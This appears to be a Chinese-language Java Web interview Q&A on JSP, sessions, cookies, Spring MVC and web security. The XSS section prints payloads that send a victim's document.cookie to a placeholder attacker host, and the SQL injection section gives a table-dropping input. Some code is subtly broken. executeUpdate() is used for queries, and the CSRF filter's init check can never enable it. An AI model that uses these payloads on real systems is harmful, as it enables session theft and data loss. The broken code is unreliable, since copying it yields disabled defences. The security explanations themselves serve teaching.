Java面试题(二)Java Web
1.jsp 和 servlet 有什么区别?
- jsp经编译后就变成了Servlet.(JSP的本质就是Servlet,JVM只能识别java的类,不能识别JSP的代码,Web容器将JSP的代码编译成JVM能够识别的java类)
- jsp更擅长表现于页面显示,servlet更擅长于逻辑控制.
- Servlet中没有内置对象,Jsp中的内置对象都是必须通过HttpServletRequest对象,HttpServletResponse对象以及HttpServlet对象得到.
2.jsp 有哪些内置对象?作用分别是什么?
答:九个内置对象:
- pageContext
- config,表示一个javax.servlet.ServletConfig对象。该对象用于存取servlet实例的初始化参数
- response
- exception
- out
- page【只在一个页面中保存属性,跳转页面无效】
- requet【只在一次请求中保存属性,服务器跳转有效,浏览器跳转无效】
- session【在一个会话范围中保存属性,无论何种跳转均有效,关闭浏览器后无效】
- application【在整个服务器中保存,所有用户都可以使用】
四个作用域对象:1->2->3->4从小到大的顺序是?
pageContext是内置对象中最重要的一个对象,它代表着JSP页面编译后的内容(也就是JSP页面的运行环境)
3.说一下 jsp 的 4 种作用域?
首先要声明一点,所谓作用域就是信息共享的范围,也就是说一个信息能够在多大的范围内有效。4个JSP内置对象的作用域分别为:application、session、request、page 。JSP内置对象作用域表如下:
Web交互的最基本单位为HTTP请求。每个用户从进入网站到离开网站这段过程称为一个HTTP会话,一个服务器的运行过程中会有多个用户访问,就是多个HTTP会话。作用域解释如下。
1. application 作用域
-
如果把变量放到application里,就说明它的作用域是application,它的有效范围是整个应用。
整个应用是指从应用启动,到应用结束。我们没有说从服务器启动,到服务器关闭,是因为一个服务器可能部署多个应用,当然你关闭了服务器,就会把上面所有的应用都关闭了。 -
application作用域里的变量,它们的存活时间是最长的,如果不进行手工删除,它们就一直可以使用。
-
application作用域上的信息传递是通过ServletContext实现的,它提供的主要方法如下所示:
Object getAttribute(String name) //从application中获取信息;
void setAttribute(String name, Object value) //向application作用域中设置信息。
2. session作用域
-
session作用域比较容易理解,同一浏览器对服务器进行多次访问,在这多次访问之间传递信息,就是session作用域的体现。
-
如果把变量放到session里,就说明它的作用域是session,它的有效范围是当前会话。所谓当前会话,就是指从用户打开浏览器开始,到用户关闭浏览器这中间的过程。这个过程可能包含多个请求响应。也就是说,只要用户不关浏览器,服务器就有办法知道这些请求是一个人发起的,整个过程被称为一个会话(session),而放到会话中的变量,就可以在当前会话的所有请求里使用。
-
session是通过HttpSession接口实现的,它提供的主要方法如下所示:
Object HttpSession.getAttribute(String name) //从session中获取信息。
void HttpSession.setAttribute(String name, Object value)//向session中保存信息。
HttpSession HttpServletRequest.getSession() //获取当前请求所在的session的对象。
-
session的开始时刻比较容易判断,它从浏览器发出第一个HTTP请求即可认为会话开始。但结束时刻就不好判断了,因为浏览器关闭时并不会通知服务器,所以只能通过如下这种方法判断:如果一定的时间内客户端没有反应,则认为会话结束。Tomcat的默认值为120分钟,但这个值也可以通过HttpSession的**setMaxInactiveInterval()**方法来设置:void setMaxInactiveInterval(int interval)
-
如果想主动让会话结束,例如用户单击“注销”按钮的时候,可以使用 HttpSession 的
invalidate()方法,用于强制结束当前session:void invalidate()
3. request作用域
-
一个HTTP请求的处理可能需要多个Servlet合作,而这几个Servlet之间可以通过某种方式传递信息,但这个信息在请求结束后就无效了。request里的变量可以跨越forward前后的两页。但是只要刷新页面,它们就重新计算了。如果把变量放到request里,就说明它的作用域是request,它的有效范围是当前请求周期。
-
所谓请求周期,就是指从http请求发起,到服务器处理结束,返回响应的整个过程。在这个过程中可能使用forward的方式跳转了多个jsp页面,在这些页面里你都可以使用这个变量。
-
Servlet之间的信息共享是通过HttpServletRequest接口的两个方法来实现的:
void setAttribute(String name, Object value) //将对象value以name为名称保存到request作用域中。
Object getAttribute(String name) //从request作用域中取得指定名字的信息。
-
JSP中的doGet()、doPost()方法的第一个参数就是HttpServletRequest对象,使用这个对象的
setAttribute()方法即可传递信息。那么在设置好信息之后,要通过何种方式将信息传给其他的Servlet呢?这就要用到RequestDispatcher接口的forward()方法,通过它将请求转发给其他Servlet。RequestDispatcher ServletContext.getRequestDispatcher(String path) //取得Dispatcher以便转发,path为转发的目的Servlet。
void RequestDispatcher.forward(ServletRequest request, ServletResponse response)//将request和response转发
因此,只需要在当前Servlet中先通过setAttribute()方法设置相应的属性,然后使用forward()方法进行跳转,最后在跳转到的Servlet中通过使用getAttribute()方法即可实现信息传递。
需要注意两点:
-
转发不是重定向,转发是在Web应用内部进行的。
-
转发对浏览器是透明的,也就是说,无论在服务器上如何转发,浏览器地址栏中显示的仍然是最初那个Servlet的地址。
4. page作用域
-
page对象的作用范围仅限于用户请求的当前页面,对于page对象的引用将在响应返回给客户端之后被释放,或者在请求被转发到其他地方后被释放。page里的变量只要页面跳转了,它们就不见了。如果把变量放到pageContext里,就说明它的作用域是page,它的有效范围只在当前jsp页面里。从把变量放到pageContext开始,到jsp页面结束,你都可以使用这个变量。
-
以上介绍的作用范围越来越小,request和page的生命周期都是短暂的,它们之间的区别:一个request可以包含多个page页(include,forward及filter)。
5.session 和 cookie 有什么区别?
1.存储位置不同
- cookie的数据信息存放在客户端浏览器上。
- session的数据信息存放在服务器上。
2. 存储容量不同
-
单个cookie保存的数据<=4KB,一个站点最多保存20个Cookie。
-
对于session来说并没有上限,但出于对服务器端的性能考虑,session内不要存放过多的东西,并且设置session删除机制。
3. 存储方式不同
-
cookie中只能保管ASCII字符串,并需要通过编码方式存储为Unicode字符或者二进制数据。
-
session中能够存储任何类型的数据,包括且不限于string,integer,list,map等。
4. 隐私策略不同
-
cookie对客户端是可见的,别有用心的人可以分析存放在本地的cookie并进行cookie欺骗,所以它是不安全的。
-
session存储在服务器上,对客户端是透明的,不存在敏感信息泄漏的风险。
5. 有效期上不同
- 开发可以通过设置cookie的属性,达到使cookie长期有效的效果。
- session依赖于名为JSESSIONID的cookie,而cookie JSESSIONID的过期时间默认为-1,只需关闭窗口该session就会失效,因而session不能达到长期有效的效果。
6. 服务器压力不同
- cookie保管在客户端,不占用服务器资源。对于并发用户十分多的网站,cookie是很好的选择。
- session是保管在服务器端的,每个用户都会产生一个session。假如并发访问的用户十分多,会产生十分多的session,耗费大量的内存。
7. 浏览器支持不同
- 假如客户端浏览器不支持cookie: cookie是需要客户端浏览器支持的,假如客户端禁用了cookie,或者不支持cookie,则会话跟踪会失效。关于WAP上的应用,常规的cookie就派不上用场了。
- 运用session需要使用URL地址重写的方式。一切用到session程序的URL都要进行URL地址重写,否则session会话跟踪还会失效。
- 假如客户端支持cookie:cookie既能够设为本浏览器窗口以及子窗口内有效,也能够设为一切窗口内有效。
session只能在本窗口以及子窗口内有效。
8. 跨域支持上不同
- cookie支持跨域名访问。
- session不支持跨域名访问。
6.说一下 session 的工作原理?
- session 的工作原理是客户端登录完成之后,服务器会创建对应的 session,session 创建完之后,会把 session 的id 发送给客户端,客户端再存储到浏览器中。这样客户端每次访问服务器时,都会带着 sessionid,服务器拿到 sessionid之后,在内存找到与之对应的 session 这样就可以正常工作了。
7.如果客户端禁止 cookie 能实现 session 还能用吗?
- 如果浏览器禁止cookie,那么客户端访问服务端时无法携带sessionid,服务端无法识别用户身份,便无法进行会话控制,session失效。但可以通过以下几种方法:
- URL重写:URL重写要求将站点中的所有超链接都进行改造,在超链接后用一个特殊的参数JSESSIONID保存当前浏览器对应session的编号,这样一来,当用户点击超链接访问服务器时,服务器可以从URL后的参数中分析出JSESSIONID,从而找到对应的sesison使用.
- 用文件、数据库等形式保存Session ID,在跨页过程中手动调用
8.spring mvc 和 struts 的区别是什么?
- springmvc零配置
- struts是类级别的拦截,spring是方法级别的拦截一个方法对应一个request上下文,而方法同时又跟一个url对应,所以说从架构本身上SpringMVC就容易实现restful url,而struts 而其类属性却被所有方法共享,这也就无法用注解或其他方式标识其所属方法了。
- SpringMVC的方法之间基本上独立的,独享request response数据,方法之间不共享变量而Struts2搞的就比较乱,虽然方法之间也是独立的,但其所有Action变量是共享的,这不会影响程序运行,却给我们编码,读程序时带来麻烦,每次来了请求就创建一个Action,一个Action对象对应一个request上下文。
- 由于Struts2需要针对每个request进行封装,把request,session等servlet生命周期的变量
封装成一个一个Map,供给每个Action使用,并保证线程安全,所以在原则上,是比较耗费内存的。 - 拦截器实现机制上,Struts2有以自己的interceptor机制,SpringMVC用的是独立的AOP方式,这样导致Struts2的配置文件量还是比SpringMVC大。
- SpringMVC开发效率和性能高于Struts2
9.如何避免 sql 注入?
sql注入是一种十分简单的对数据库数据进行攻击的一种手段,如下所示:
private String getNameByUserId(String userId) {
Connection conn = getConn();//获得连接
String sql = "select name from user where id=" + userId;
PreparedStatement pstmt = conn.prepareStatement(sql);
ResultSet rs=pstmt.executeUpdate();
......
}
当传入的参数为:"3;drop table user;"时,
执行时的语句就是:select name from user where id=3;drop table user;
这对于数据来说是非常危险的。
如何避免sql注入呢?
1:遵循编程规范,首先执行预编译,随后再填写参数,这样参数会替换掉编译好的语句中的?占位符,最后执行完整的sql语句。
Connection conn = getConn();//获得连接
String sql = "select name from user where id= ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, userId);
ResultSet rs=pstmt.executeUpdate();
......
还是上边的参数:“3;drop table user;”
最后执行语句就会是:select name from user where id=“3;drop table user;”。 避免了sql注入。
2:使用存储过程。
- 存储过程(Stored Procedure)是一组完成特定功能的SQL语句集,经编译后存储在数据库中,用户通过调用存储过程并给定参数(如果该存储过程带有参数)就可以执行它,也可以避免SQL注入攻击
例如:
Connection conn = getConn();
stmt = conn.prepareCall("{call name_from_user(?,?)}");
stmt.setInt(1,2);
stmt.registerOutParameter(2, Types.VARCHAR);
stmt.execute();
String name= stmt.getString(2);
存储过程如下:
use user;
delimiter //
create procedure name_from_user(in user_id int,out user_name varchar(20))
begin
select name into user_name from user where id=user_id;
end
//
delimiter ;
10.什么是 XSS 攻击,如何避免?
- XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。
原理
- 攻击者往 web 页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构、重定向到其他网站等。
种类
- 1、DOM Based XSS:基于网页 DOM 结构的攻击
例如:input 标签 value 属性赋值
//jsp
<input type="text" value="<%= getParameter("content") %>">
访问
http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script>//弹出 XSS 字样
http://xxx.xxx.xxx/search?content=<script>
window.open("xxx.aaa.xxx?param="+document.cookie)
</script> //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站
利用 a 标签的 href 属性的赋值
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳转...</a>
访问
http://xxx.xxx.xxx?newUrl=javascript:alert('XSS') //点击 a 标签就会弹出 XSS 字样
变换大小写
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS') //点击 a 标签就会弹出 XSS 字样
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS') //点击 a 标签就会弹出 XSS 字样
image 标签 src 属性,onload、onerror、onclick 事件中注入恶意代码
<img src='xxx.xxx' onerror='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />
2、Stored XSS:存储式XSS漏洞
<form action="save.do">
<input name="content" value="">
</form>
输入
<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>
提交,当别人访问到这个页面时,就会把页面的 cookie 提交到 xxx.aaa.xxx,攻击者就可以获取到 cookie
预防思路
- web 页面中可由用户输入的地方,如果对输入的数据转义、过滤处理
- 后台输出页面的时候,也需要对输出内容进行转义、过滤处理
(因为攻击者可能通过其他方式把恶意脚本写入数据库) - 前端对 html 标签属性、css 属性赋值的地方进行校验
11.什么是 CSRF 攻击,如何避免?
CSRF:Cross-Site Request Forgery(中文:跨站请求伪造),可以理解为攻击者盗用了你的身份,以你的名义发送恶意请求,比如:以你名义发送邮件、发消息、购买商品,虚拟货币转账等。
防御手段:
- 验证请求来源地址;
- 关键操作添加验证码;
- 在请求地址添加 token 并验证。
下面是CsrfFilter代码:
/**
* CSRF跨域请求伪造拦截
* 除登录以外的post方法,都需要携带token,如果token为空或token错误,则返回异常提示
* 注意在filter初始化参数内配置排除的url
* @author zsy
*/
public class CsrfFilter implements Filter {
private static Logger logger = LoggerFactory.getLogger(CsrfFilter.class);
public List<String> excludes = new ArrayList<String>();
private boolean isOpen = false;//是否开启该filter
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws IOException,ServletException {
if(!isOpen){
filterChain.doFilter(request, response);
return ;
}
if(logger.isDebugEnabled()){
logger.debug("csrf filter is running");
}
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
HttpSession session = req.getSession();
Object token = session.getAttribute("token");
if(!"post".equalsIgnoreCase(req.getMethod()) || handleExcludeURL(req, resp) || token == null){
filterChain.doFilter(request, response);
return;
}
String requestToken = req.getParameter("token");
if(StringUtils.isBlank(requestToken) || !requestToken.equals(token)){
AjaxResponseWriter.write(req, resp, ServiceStatusEnum.ILLEGAL_TOKEN, "非法的token");
return;
}
filterChain.doFilter(request, response);
}
private boolean handleExcludeURL(HttpServletRequest request, HttpServletResponse response) {
if (excludes == null || excludes.isEmpty()) {
return false;
}
String url = request.getServletPath();
for (String pattern : excludes) {
Pattern p = Pattern.compile("^" + pattern);
Matcher m = p.matcher(url);
if (m.find()) {
return true;
}
}
return false;
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
if(logger.isDebugEnabled()){
logger.debug("csrf filter init~~~~~~~~~~~~");
}
String temp = filterConfig.getInitParameter("excludes");
if (temp != null) {
String[] url = temp.split(",");
for (int i = 0; url != null && i < url.length; i++) {
excludes.add(url[i]);
}
}
temp = filterConfig.getInitParameter("isOpen");
if(StringUtils.isNotBlank(temp) && "true".equals(isOpen)){
isOpen = true;
}
}
@Override
public void destroy() {}
}